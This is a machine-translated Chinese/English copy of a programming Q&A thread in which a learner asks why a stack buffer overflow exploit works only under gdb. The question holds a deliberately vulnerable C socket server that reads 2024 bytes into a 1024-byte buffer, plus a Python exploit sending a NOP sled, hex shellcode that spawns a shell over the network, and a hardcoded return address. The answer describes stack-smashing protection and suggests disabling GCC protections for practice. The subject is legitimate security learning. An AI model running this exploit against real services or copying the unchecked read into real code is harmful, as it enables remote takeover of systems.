简体   繁体   English

缓冲区溢出-利用gdb进行调试时可利用漏洞,但

[英]buffer overflow - exploit works while debuging with gdb, but

I am trying to learn/understand buffer overflow. 我正在尝试学习/理解缓冲区溢出。 I thoughI already got it, but now I have problems with exploiting this (mine) vulnerable code. 我虽然已经知道了,但是现在在利用这个(我的)易受攻击的代码时遇到了问题。

When I run my exploit, when server runs in gdb, exploit works and I get remote shell(payload is correctly executed). 当我运行漏洞利用程序时,当服务器在gdb中运行时,漏洞利用起作用,并且我得到了远程shell(有效载荷已正确执行)。 But then I start the server outside debugger, when I start my exploit I get Floating point exception. 但是随后,我在调试器外部启动了服务器,当我启动漏洞利用程序时,出现了浮点异常。 Could anyone please explain me what I am doing wrong? 谁能解释我在做什么错?

server: 服务器:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
   perror(msg);
   exit(1);
}

void passcheck(int sockfd) {
   char buffer[1024];
   int newsockfd, n;
   struct sockaddr_in cli_addr;
   socklen_t clilen;

   for (n=0; n<1024; n++) buffer[n] = 0x31;

   clilen = sizeof(cli_addr);
   newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
   if (newsockfd < 0)
      error("ERROR on accept");
   n = write(newsockfd,"PASSWORD: ",10);
   if (n < 0) error("ERROR writing to socket");
   n = read(newsockfd,buffer,2024);
   if (n < 0) error("ERROR reading from socket");
   close(newsockfd);
   return;
}
int main(int argc, char *argv[]) {
   int sockfd, portno;
   struct sockaddr_in serv_addr;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if (sockfd < 0)
      error("ERROR opening socket");
   bzero((char *) &serv_addr, sizeof(serv_addr));
   portno = 5001;
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
      error("ERROR on binding");
   listen(sockfd,5);
   while(1) {
     passcheck(sockfd);
     printf("Try again\n");
   }
   close(sockfd);
   return 0;

exploit: 利用:

    #!/usr/bin/python

import socket

payload =  "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150

s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close

When I try to run your example program (on OS X), I'm getting a segmentation fault, but I get that whether or not I run it in GDB: 当我尝试在OS X上运行您的示例程序时,遇到了段错误,但是无论是否在GDB中运行它,我都可以理解:

Program received signal SIGSEGV, Segmentation fault.
0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
(gdb) bt
#0  0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
#1  0x00007fff832c2754 in getenv () from /usr/lib/system/libsystem_c.dylib
#2  0x00007fff83283b35 in _simple_asl_init ()
   from /usr/lib/system/libsystem_c.dylib
#3  0x00007fff8327afc0 in pthread_once ()
   from /usr/lib/system/libsystem_c.dylib
#4  0x00007fff832838f8 in _simple_asl_log_prog ()
   from /usr/lib/system/libsystem_c.dylib
#5  0x00007fff832bff8b in __stack_chk_fail ()
   from /usr/lib/system/libsystem_c.dylib
#6  0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31

Notice that __stack_chk_fail seems to be part of the stack smashing protection used by GCC, so your buffer overflow attempt has not gone unnoticed. 请注意,__ stack_chk_fail似乎是GCC使用的堆栈粉碎保护的一部分,因此您的缓冲区溢出尝试并未引起注意。 I must admit I'm not entirely sure why it segfaults later on though. 我必须承认,我不太确定为什么以后会出现段错误。

Either way, I wouldn't be surprised if you're hitting something similar when you're trying this out for yourself. 无论哪种方式,如果您自己尝试尝试类似的操作,我都不会感到惊讶。 If you want to experiment with buffer overflows, I would recommend using an older Linux distro & gcc version, and make sure you turn off the GCC protection mechanisms. 如果您想尝试缓冲区溢出,我建议您使用较旧的Linux发行版和gcc版本,并确保关闭GCC保护机制。 I'd recommend Damn Small Linux , which still has a 2.4 kernel, I seem to remember 2.6 adding some buffer overflow protection mechanisms as well. 我建议该死的Small Linux ,它仍然具有2.4内核,我似乎还记得2.6还添加了一些缓冲区溢出保护机制。

You've already learned that buffer overflows aren't as simple as they probably once used to be! 您已经了解到缓冲区溢出并不像过去那样简单! :-) :-)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM